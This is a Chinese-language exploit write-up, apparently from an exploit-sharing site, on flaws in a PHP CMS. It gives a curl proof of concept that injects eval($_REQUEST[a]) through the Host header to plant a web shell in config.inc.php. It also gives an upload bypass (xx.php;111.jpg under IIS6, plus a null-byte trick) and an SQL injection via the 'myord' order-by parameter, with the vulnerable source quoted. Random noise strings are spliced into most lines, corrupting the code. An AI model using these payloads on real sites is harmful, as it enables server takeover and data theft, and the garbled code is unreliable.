注入:
- C6 c6 X$ S: x. I4 U' i9 v: O/ C U: i% P ?) o
之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码/ U+ f1 d% D8 z3 l7 D O
6 m- s" ~0 B1 a4 f
鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件9 N% t9 m' U! ~' ]. }, b% f6 ^
鸡肋2: 有一定安全常识的站长都会删掉 install 目录0 h- O% N& D1 J3 X% z. t7 _
Y: A' r; l6 i; _( m/ V虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响- A& H3 J' }, A; e% D0 i5 Z* E6 p% R
7 {8 s6 K; j2 {& l! R" R. y
分析:
0 S- @- T1 S r) q: n* _% _6 Y
/ Z" I. k' l8 y. |, J1 h* |5 e
5 B9 g- n' y" m0 ^2 d3 Z2 [$siteurl="http://".$_SERVER["HTTP_HOST"]."/"; //未过滤9 L; c/ q" k( w& p1 Z% }1 y% ?# `
+ W& a# P2 }5 @; A6 m- u $filestr = fread(fopen($SysConfigFile, 'r'),30000);% c2 Y& ?9 U6 s, ?4 y2 ^
$filestr=str_replace(" ","",$filestr);2 \( B) y$ p# d2 z
$filestr=str_replace("DefaultDbHost",$dbhost,$filestr);
) Y- m8 @2 v+ s% z+ A $filestr=str_replace("DefaultDbName",$dbname,$filestr);) r- ]6 n0 S% } I6 w: }8 X% `
$filestr=str_replace("DefaultDbUser",$dbuser,$filestr);$ {# j$ Q7 W/ u" R8 e
$filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);$ R6 B* @: H! v5 y J
$filestr=str_replace("DefaultsLan","zh_cn",$filestr);
) G% r( J8 a X6 J $filestr=str_replace("DefaultTablePre",$tablepre,$filestr);
/ r* T6 c4 P6 d1 n8 [3 J $filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);
( q; [9 h) S& l/ d4 T" Y. G 9 a+ V+ U {1 _6 s
fwrite(fopen($ConFile,"w"),$filestr,30000);4 |- I* z, y& ?6 o2 A6 G
$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^
& B/ S% _2 F- k5 B% d: g 9 j: R% D7 u+ B6 K" V" j
poc:. D5 |5 ]% H7 f4 o* |: X
1 N3 }' h( D1 a; ^ Q?
/ @) L6 y6 T. X; D: u1
1 ]( e# @, `5 q5 z5 _& W+ l1 K5 gcurl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#"- S1 n4 q" @5 Y4 V5 X$ D
shell地址: /config.inc.php: X; E# `1 a1 Z7 b2 x3 Q
跟之前的 phpcms一样 需要远程数据库( y4 m, a$ l* y* ^
/ Q$ p. @1 W$ N5 Z% O——————————————————–4 T+ V: w6 q: g( W/ h+ G
上传漏洞(需要进后台):1 Q. q( `8 ^/ u2 v, ^5 W2 w
漏洞文件: /kedit/upload_cgi/upload.php* R; z0 [4 N. L2 A$ z
这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用
4 {/ Y3 F" R, `" ~
X9 n6 l7 f+ w ~) D) Q+ v 8 c' K% b4 }- H$ W3 V" C4 h7 u" @
<?php
+ h, ^, h! ]+ h4 t define("ROOTPATH", "../../");. C6 x+ i5 ?8 V0 ]( W7 |2 Y
include(ROOTPATH."includes/admin.inc.php");
7 D/ ~8 y. L% F' P! {! }) e! e/ u NeedAuth(0);
- g$ z v. v8 S, |/ e0 u
5 `* g& Q7 J& ~& S $dt=date("Ymd",time());
! ]& x& W0 l7 [) k b' d if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){9 W3 ]* V# q+ m9 E u& L7 O; E
@mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);7 Y4 B9 [& {4 X( v# P, I
}
% W# A4 C5 ~6 {6 D) [/ `* D
( |0 a+ s1 I' A/ P) x: z //文件保存目录路径
5 F: s& G7 Z+ B- e1 j2 Z $save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';
& ]6 E' x2 _ w7 p) V, @! |4 M echo $save_path;
, w; o; ?+ { X) d* ~6 w h //文件保存目录URL5 g |6 d& ]& P9 I
$save_url = '../../'.$_POST['attachPath'].$dt.'/';/ A% s ?2 Z8 E z/ r! F
1 V2 @6 a. }4 j; }+ ~) H //定义允许上传的文件扩展名; F6 I# w% _. S1 K; T" U; e" q* _
$ext_arr = array('gif','jpg','png','bmp'); //限制后缀
) A6 `( v! \/ e2 j/ w+ ]! X
5 K9 Y9 B1 C' ? //最大文件大小
5 ^! d1 T- y* J& O3 K $max_size = 1000000;
: }8 s% G' V. u3 ]( T ; C' j% ]' P* h* P& O" m
//更改目录权限* y7 L C& ~3 [( C7 \& j$ W9 W
@mkdir($save_path, 0777);
8 x3 Y( |5 G6 B / ]# p7 t2 e0 i) u- `7 }
//文件的全部路径
6 w/ N$ B; e* ]4 W+ G# P6 l" K$ z $file_path = $save_path.$_POST['fileName']; //保存文件名
& i2 P F# m' }* f0 \$ q' @ ; `1 X! u" w4 ]- x+ P1 ~0 D# L
//文件URL) e6 `/ l: ]! t4 g q
$file_url = $save_url.$_POST['fileName'];3 ?2 L, ~2 i. r( ]- i. L
//有上传文件时
. l4 u* E) Y$ N if (empty($_FILES) === false) {- X4 v# ~* S! Y# ^
7 L5 z7 |" o( N: r( d- r$ C+ W+ d
//原文件名; M- ~5 ]+ Z# k7 ~9 Q
$file_name = $_FILES['fileData']['name'];- J [2 s. H! o1 B3 q2 ^
//服务器上临时文件名
, t: i6 R+ ^) T- L, t $tmp_name = $_FILES['fileData']['tmp_name'];. f p" w4 v% E8 ?0 B
//文件大小
, t- S. G: I E) o' z1 F! b6 t $file_size = $_FILES['fileData']['size'];
& X" [2 u" O1 I$ s) Z8 ~6 m //检查目录* k4 ?' p7 ~3 }! a) n% y7 S: @
if (@is_dir($save_path) === false) {
+ I0 |6 B' ]$ N9 z7 p0 p$ B alert("上传目录不存在。");& Y7 u9 ^/ w- r) p
}; |7 o" d% f$ I7 m
//检查目录写权限; K/ F4 j8 y2 e, ^
if (@is_writable($save_path) === false) {
* ~- ~) [- a) @0 O1 W alert("上传目录没有写权限。");
* G, ^% `8 f' ~& d }
; r5 \2 s) b. { //检查是否已上传
1 ^2 J% ]8 r+ Q1 F) Y$ {# i if (@is_uploaded_file($tmp_name) === false) {
: A6 K T9 @* U. d( g) p3 z6 G$ Y alert("临时文件可能不是上传文件。");! ?( G7 F/ j5 g! P5 P
}
" u0 w6 T# `: T% Z: z9 k* {) N0 \ V s //检查文件大小( E6 g+ S/ b) L
if ($file_size > $max_size) {
+ I6 l- |& F% N3 H3 L! w alert("上传文件大小超过限制。");
. K4 `6 e9 z0 c* K9 o) `% | }' P3 m- m4 A5 ]9 ^' B
//获得文件扩展名
3 _) M+ X9 O6 C: \0 } $temp_arr = explode(".", $_POST['fileName']);
0 B' p! f$ Z7 P* ^$ ~; [9 c/ ^ $file_ext = array_pop($temp_arr);6 F3 r; R7 I& [. x8 G0 }% ~
$file_ext = trim($file_ext);( e- r! V; W0 r( e0 Q
$file_ext = strtolower($file_ext);
. A! W/ H3 C% _, x4 { 2 T( e( [$ u) e
//检查扩展名 ' s( U L9 H' t' p+ K z' Y" `
if (in_array($file_ext, $ext_arr) === false) { 6 e0 c& \8 ^2 V' i w0 G3 [" t
alert("上传文件扩展名是不允许的扩展名。");& j' I: [" E! z: Q
}
0 A5 s3 G( e) L5 @1 y ! s1 h8 y3 B2 V
//移动文件 1 d+ I/ O* n4 a
//未重命名 虽然过滤了 后缀 iis 6解析漏洞 ^ _ ^
$ I4 M# a9 m& j7 m" e if (move_uploaded_file($tmp_name, $file_path) === false) {
- e i: G& M) Q( t( f alert("上传文件失败。");
/ M8 Y8 v5 `7 e3 ^ }
$ d+ Y5 d& F. N f1 v ; t; j$ J& U, D# G5 }, t; N$ P" `
@chmod($file_path,0666);
8 c0 |1 I8 z ~ U
! A: g* m, T1 y* _9 H" c4 t7 y ?>% Z' d' k1 o- B% W$ [, ^; P) P
抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=227
. f4 h3 [9 F4 `" N7 Y0 l 0 ?, D2 B# N+ P, ^
apache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过
2 m/ \. o7 W6 K4 g5 O& o$ I" r( H% a) M
) Q5 H) t3 J! T6 u——————————————————
5 |- n# b5 o, ]' K# ^9 e# A7 @% X注入漏洞:
) I+ w$ N3 A! Y0 s2 r) i9 V! ~漏洞文件:search/module/search.php2 q1 M; \) S6 h" L2 d& n
/search/index.php?key=1&myord=1 [sqlinjection]+ O H) D) h2 Z. n' w
+ C+ K2 I. E) ~0 H
* W* k! B% Q& ]<?php
r4 ^7 O2 e1 M* d8 @# J/ {8 {9 Z // ... 省略 n 行...
2 F |: J0 c& K+ L1 | //第18行:
& p9 x! y, v8 S& P $key=htmlspecialchars($_GET["key"]); //只是简单的将字符HTML 实体 编码 , mysql 注入不受此影响& c) y. b R# k ]1 _& j
$page=htmlspecialchars($_GET["page"]);
2 D) U/ O! P; k( m1 A! x/ g$ X $myord=htmlspecialchars($_GET["myord"]);3 K) i/ P2 [, b4 J8 {9 b
) P u. N( C; ^+ V7 ` // ... 省略 n 行...
! C# c* _; Z! f( v9 _+ S: ]8 | $key,$myord 两个参数带入查询8 {( A9 u. R: a* g9 z* [7 [, H$ y
//第47行 $key:9 c( N" B4 M+ R! J! P# D( I3 g; r
# O. R) g# n! r4 g4 J/ W $fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')"); //虽然带入查询 但使用的 是regexp 不知如何绕过..- V" d3 d9 {! F$ f& r' F: b5 T4 l
5 o; r3 K: V! ], O8 [# \4 ?
//第197行 $myord& ]" f! L, d! h" u, D9 N1 v% ^( E; h6 H7 i
$fsql->query($scl . " order by $myord desc limit $pagelimit "); 产生注入+ f4 u- @: ^" P) u
) C* c# j1 `( Z: _3 K
?>
' F! J5 W1 f) m2 I |